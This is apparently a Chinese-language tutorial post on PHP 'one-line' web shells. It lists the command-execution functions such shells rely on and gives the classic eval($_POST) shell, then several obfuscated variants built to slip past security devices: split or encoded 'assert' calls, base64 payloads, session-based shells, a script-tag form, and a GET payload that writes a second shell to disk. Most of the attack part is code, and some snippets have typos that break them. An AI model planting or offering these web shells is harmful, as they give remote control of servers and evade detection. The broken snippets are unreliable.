一句话木马
木马的原理
木马的特点有很多,有大也有小,从一句话木马到有各种丰富功能的大马,形式种类各不相同,web木马执行时必须按照中间件支持的web格式进行解析并执行,在使用过程中,黑客会利用外部参数把操作行为传入到web木马中,web木马再见攻击者传入的参数拼接成系统命令并执行,因此需要调用一些关键函数来执行本身的功能
常见的关键函数:
命令执行类:eval\system\popen\exec\shell_exec
eval(phpcode)
system ( string $command , int &$return_var = ? ) : string
,执行外部程序,如果有设置return_var,则执行后的返回状态会设置在这个变量里popen(command,mode)
,mode可选r只读或者w只写exec ( string $command , array &$output = ? , int &$return_var = ? )
: string执行外部程序shell_exec ( string $cmd )
: string通过shell环境执行命令
文件功能类:fopen\opendir\dirname\pathinfo
fopen(filename,mode,include_path,context)
打开一个文件或urlopendir(path,context)
;打开一个目录,并读取里面的内容- dirname(path)返回路径中的目录部分
- pathinfo(path,options)以数组的形式返回目录路径、文件名、文件后缀、不包含后缀的文件名
数据库操作类:mysql_query\mysqli_query
一句话木马
一句话木马的实现方式是定义一个执行页面,并设计一个传参点数以接收外部参数,经典一句话木马<?PHP @eval($_POST['a']);?>
,用a接收参数并用eval来执行
当然,上面这个木马特征过于明显,我们必须采用别的方法进行伪装,不然防护设备能将木马轻易的拦下
使用菜刀连接木马
一般情况下,木马会对当前关键函数进行类型隐藏,如拆分结构再拼接等等,另外变形的常用方法有:
- 更换执行数据来源
- 字符替换或特殊编码
- 采用藏匿手段
- 混合上述手段
拆分示例:
<?PHP
$a='assert';
array_map("$a",$_requestion['xx']);
?>
//assert ( mixed $assertion , Throwable $exception = ? ) : bool,assert() 会检查指定的 assertion 并在结果为 false 时采取适当的行动。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
//array_map(myfunction,array1,array2,array3...)array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新的值的数组。
示例二
<?PHP
$item['JON']='assert';
$array[]=$item;
$array[0]['JON']($_POST['xixi']);
?>
更换执行数据来源
- 利用GET:get与post近似,但是get可以通过url进行传输
<?PHP $_GET[a]($_GET[b]);?>
传参?a=assert&b=${fputs(fopen(base64_decode(YS5waHA=),w),base64_decode(PD9QSFAgQGV2YWwoJF9QT1NUWyd4eCddOz8pPg==))};
//a.php,<?PHP @eval($_POST['xx'];?)>
这个马执行后会生成一个a.php的马
<?PHP @eval($_GET[$_GET[b]]);?>//?b=cmd&cmd=phpinfo()
<script language="php">@eval_r($_GET[b])</script>
- 利用session
<?php
session_start();//启动session
$_POST['code'] && $_SESSION['thecode'] = trim($_POST['code']);
$_SESSION['thecode']&&preg_replace('\'a\'eis,'e'.'v'.'a'.'l'.(base64_decode($_SESSION[\'thecode\']))','a');
?>
字符替换或特殊编码
- 字符替换
$a = str_replace(x,"","xxaxxsxxexxrxxt")//把x替换掉变成$a=assert
- 字符串组合法隐藏关键字
<?php
$str='asrtes';
$funct=$str[0].$str[1].$str[5].$str[4].$str[2].$str[3];
@funct($_POST['xx']);
?>
- 编码绕过
<?php @eval(base64_decode('JF9QT1NUWydjJ10='));?>
顺带一提,带base64的我用蚁剑总是连不上,用菜刀倒是可以,不知道是不是我哪里设置的问题...
- <?检查绕过
PHP有几种不同的风格,如果他是通过检查<?来判断的话,那可以采用script风格,如<script language='php'>eval($_POST['c']);</script>
顺便再一提,这里我用上面base64,不管菜刀还是蚁剑都连不上.....